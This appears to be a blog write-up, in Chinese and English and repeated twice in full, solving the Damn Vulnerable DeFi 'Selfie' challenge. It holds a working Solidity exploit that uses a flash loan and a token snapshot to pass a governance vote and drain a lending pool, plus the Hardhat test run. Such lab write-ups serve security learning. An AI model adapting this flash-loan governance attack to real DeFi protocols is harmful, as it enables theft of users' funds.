web3maxi
web3maxi
Subscribe to Runstar
Subscribe to Runstar
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
A new cool lending pool has launched! It's now offering flash loans of DVT tokens.
Wow, and it even includes a really fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
目标: 取走闪电贷池中的150万个DVT token
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(attacker.address)).to.be.equal(TOKENS_IN_POOL);
expect(await this.token.balanceOf(this.pool.address)).to.be.equal("0");
});
SelfiePool.sol DVT token闪电贷池
flashLoan 常规闪电贷函数
drainAllFunds 取走所有资金, 被onlyGovernance 保护
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
DamnValuableTokenSnapshot.sol 继承自*ERC20Snapshot.sol* 带快照功能的DVT token
snapshot 快照函数,记录快照id存入至lastSnapshotId
getBalanceAtLastSnapshot 返回指定地址上一次快照时的余额
getTotalSupplyAtLastSnapshot 返回上一次快照时的总余额
SimpleGovernance.sol 治理机制主合约, 可以发起提案并执行
queueAction 函数发起提案
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
}
check 有足够的治理代币
check 禁止合约自身发起提案
executeAction 函数,只能执行提案队列中的提案
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
check 提案已加入队列
通过functionCallWithValue 执行提案内容
通过drainAllFunds 取走所有资金,而该函数被onlyGovernance 保护, 且无法获得governance权限, 因此只能操控SimpleGovernance 合约提取资金,即通过拥有超过一半的治理代币发起提案执行取款操作
发起闪电贷借出所有治理代币
调用snapshot 函数快照
已拥有超过一半的治理代币直接发起取款提案成功进入提案队列
还款至借贷池完成闪电贷
等待两天(模拟环境中直接操控evm时间至2天后),执行提案内容取走所有资金
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGovernance {
function queueAction(
address receiver,
bytes calldata data,
uint256 weiAmount
) external returns (uint256);
function executeAction(uint256 actionId) external payable;
}
interface IFReceiver {
function receiveTokens(address token, uint256 amount) external;
}
interface ISelfiePool {
function flashLoan(uint256 borrowAmount) external;
}
interface IDVTSnapshot {
function transfer(address recipient, uint256 amount) external returns (bool);
function snapshot() external returns (uint256);
}
contract SelfieExploit is IFReceiver {
address immutable attacker;
IGovernance immutable governance;
ISelfiePool immutable pool;
uint256 actionId;
constructor(IGovernance _governance, ISelfiePool _pool) {
attacker = msg.sender;
governance = _governance;
pool = _pool;
}
function takeoverGov(uint256 amount) external {
pool.flashLoan(amount);
}
function receiveTokens(address token, uint256 amount) external override {
IDVTSnapshot(token).snapshot();
actionId = governance.queueAction(
address(pool),
abi.encodeWithSignature("drainAllFunds(address)", attacker),
0
);
IDVTSnapshot(token).transfer(address(pool), amount);
}
function drainToAttacker() external {
governance.executeAction(actionId);
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const ExploitFactory = await ethers.getContractFactory("SelfieExploit", attacker);
const exploit = await ExploitFactory.deploy(this.governance.address, this.pool.address);
await exploit.takeoverGov(TOKENS_IN_POOL);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await exploit.drainToAttacker();
});
运行通过
❯ yarn run selfie
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/selfie/selfie.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/selfie/selfie.challenge.js
[Challenge] Selfie
✓ Exploit (210ms)
1 passing (2s)
Done in 3.82s.
**Twitter: @0xRunstar
A new cool lending pool has launched! It's now offering flash loans of DVT tokens.
Wow, and it even includes a really fancy governance mechanism to control it.
What could go wrong, right ?
You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
目标: 取走闪电贷池中的150万个DVT token
after(async function () {
/** SUCCESS CONDITIONS */
// Attacker has taken all tokens from the pool
expect(await this.token.balanceOf(attacker.address)).to.be.equal(TOKENS_IN_POOL);
expect(await this.token.balanceOf(this.pool.address)).to.be.equal("0");
});
SelfiePool.sol DVT token闪电贷池
flashLoan 常规闪电贷函数
drainAllFunds 取走所有资金, 被onlyGovernance 保护
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
DamnValuableTokenSnapshot.sol 继承自*ERC20Snapshot.sol* 带快照功能的DVT token
snapshot 快照函数,记录快照id存入至lastSnapshotId
getBalanceAtLastSnapshot 返回指定地址上一次快照时的余额
getTotalSupplyAtLastSnapshot 返回上一次快照时的总余额
SimpleGovernance.sol 治理机制主合约, 可以发起提案并执行
queueAction 函数发起提案
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
}
check 有足够的治理代币
check 禁止合约自身发起提案
executeAction 函数,只能执行提案队列中的提案
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);
check 提案已加入队列
通过functionCallWithValue 执行提案内容
通过drainAllFunds 取走所有资金,而该函数被onlyGovernance 保护, 且无法获得governance权限, 因此只能操控SimpleGovernance 合约提取资金,即通过拥有超过一半的治理代币发起提案执行取款操作
发起闪电贷借出所有治理代币
调用snapshot 函数快照
已拥有超过一半的治理代币直接发起取款提案成功进入提案队列
还款至借贷池完成闪电贷
等待两天(模拟环境中直接操控evm时间至2天后),执行提案内容取走所有资金
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IGovernance {
function queueAction(
address receiver,
bytes calldata data,
uint256 weiAmount
) external returns (uint256);
function executeAction(uint256 actionId) external payable;
}
interface IFReceiver {
function receiveTokens(address token, uint256 amount) external;
}
interface ISelfiePool {
function flashLoan(uint256 borrowAmount) external;
}
interface IDVTSnapshot {
function transfer(address recipient, uint256 amount) external returns (bool);
function snapshot() external returns (uint256);
}
contract SelfieExploit is IFReceiver {
address immutable attacker;
IGovernance immutable governance;
ISelfiePool immutable pool;
uint256 actionId;
constructor(IGovernance _governance, ISelfiePool _pool) {
attacker = msg.sender;
governance = _governance;
pool = _pool;
}
function takeoverGov(uint256 amount) external {
pool.flashLoan(amount);
}
function receiveTokens(address token, uint256 amount) external override {
IDVTSnapshot(token).snapshot();
actionId = governance.queueAction(
address(pool),
abi.encodeWithSignature("drainAllFunds(address)", attacker),
0
);
IDVTSnapshot(token).transfer(address(pool), amount);
}
function drainToAttacker() external {
governance.executeAction(actionId);
}
}
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
const ExploitFactory = await ethers.getContractFactory("SelfieExploit", attacker);
const exploit = await ExploitFactory.deploy(this.governance.address, this.pool.address);
await exploit.takeoverGov(TOKENS_IN_POOL);
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]);
await exploit.drainToAttacker();
});
运行通过
❯ yarn run selfie
yarn run v1.22.19
warning ../../package.json: No license field
$ yarn hardhat test test/selfie/selfie.challenge.js
warning ../../package.json: No license field
$ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/selfie/selfie.challenge.js
[Challenge] Selfie
✓ Exploit (210ms)
1 passing (2s)
Done in 3.82s.
**Twitter: @0xRunstar
No activity yet